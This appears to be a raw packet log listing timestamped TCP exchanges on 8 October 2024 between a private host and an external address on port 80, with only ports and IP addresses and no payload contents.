Oct 8, 2024 03:22:15.566663027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566677094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566688061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566689014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566689014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566690922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566843033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566855907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566869974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566884041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566895008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566895008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566895008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566900015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566936016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566947937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566962957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.566968918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566968918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.566968918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567101955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567132950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567147017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567161083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567178011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567192078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567204952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567218065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567225933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567225933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567225933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567230940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567245960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567260027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567296982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567296982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567296982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567471027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567485094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567504883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567518950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567533016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567544937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567558050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567564964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567564964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567564964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567570925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567584038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567599058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567611933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567619085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567619085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567625046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567639112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567686081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567686081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567686081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567863941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567877054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567918062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567918062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.567951918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567965031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567979097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567992926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.567996025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.568007946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.568022013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.568034887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.568056107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.568056107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.568056107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.568104029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591289997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591310978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591324091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591336012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591351032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591372013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591433048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591523886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591547966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591552019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591562033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591574907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591589928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591602087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591614962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591625929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591625929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591625929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591626883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591639996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591653109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591667891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591681004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591690063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591690063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591690063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591691017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591701031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591711044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591721058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591732025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591739893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591749907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591759920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591763973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591763973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591763973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591770887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591782093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591790915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591801882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591810942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591815948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591815948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591815948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591821909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591833115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591841936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591851950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591867924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591880083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591887951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591887951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591887951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591984987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591999054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.591999054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.591999054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.592012882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.592025042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.592044115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.592044115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.592080116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.592092991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.592113018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.592119932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.592133999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.592133999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.592133999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.592385054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.653515100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653531075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653542995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653634071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.653707027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653718948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653731108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653743029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653747082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.653784037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.653858900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653884888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653896093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.653899908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.653925896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.653939962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654014111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654026031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654036045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654047012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654056072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654058933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654077053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654103041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654148102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654159069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654190063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654225111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654239893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654251099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654261112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654272079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654273987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654283047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654289961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654319048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654552937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654592037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654594898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654604912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654628038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654643059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654695988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654709101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654731035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654747009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654795885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654831886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654838085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654850006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654870987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654886961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654911995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654923916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.654970884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.654970884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655049086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655061007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655071974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655083895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655083895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655097008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655102968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655136108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655220032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655230999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655242920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655253887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655253887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655266047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655276060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655278921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655308962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655333996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655368090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655375004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655394077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655409098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655426025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655499935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655509949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655520916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655531883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655534029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655551910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655576944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655721903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655747890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655759096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655759096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655781031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655797005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655875921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655886889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655896902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655908108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.655908108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655927896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.655956984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.656055927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656068087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656079054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656089067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656099081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656100988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.656111002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656122923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.656141996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.656158924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656193018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.656318903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656352997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.656441927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.656475067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.697441101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.702771902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.914864063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.914972067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.914977074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.914989948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915009975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915018082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915021896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915034056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915038109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915045977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915057898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915070057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915083885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915105104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915107965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915119886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915122032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915158033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915167093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915179014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915189981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915200949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915200949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915234089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915266037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915290117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915302038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915318966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915343046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915345907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915354967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915365934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915380001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915409088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915437937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915450096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915462017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915479898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915496111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915528059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915539980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915549994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915564060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915585041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915608883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915620089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915643930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915654898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915666103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915668964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915669918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915677071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915688038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915716887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915754080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915766001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915776968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915787935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915786982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915798903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915813923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915872097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915884972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915896893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915910006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915919065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915920973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915930986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.915954113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.915976048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.916040897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.916053057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.916064024 CEST	80	49704	185.215.113.37	192.168.2.5
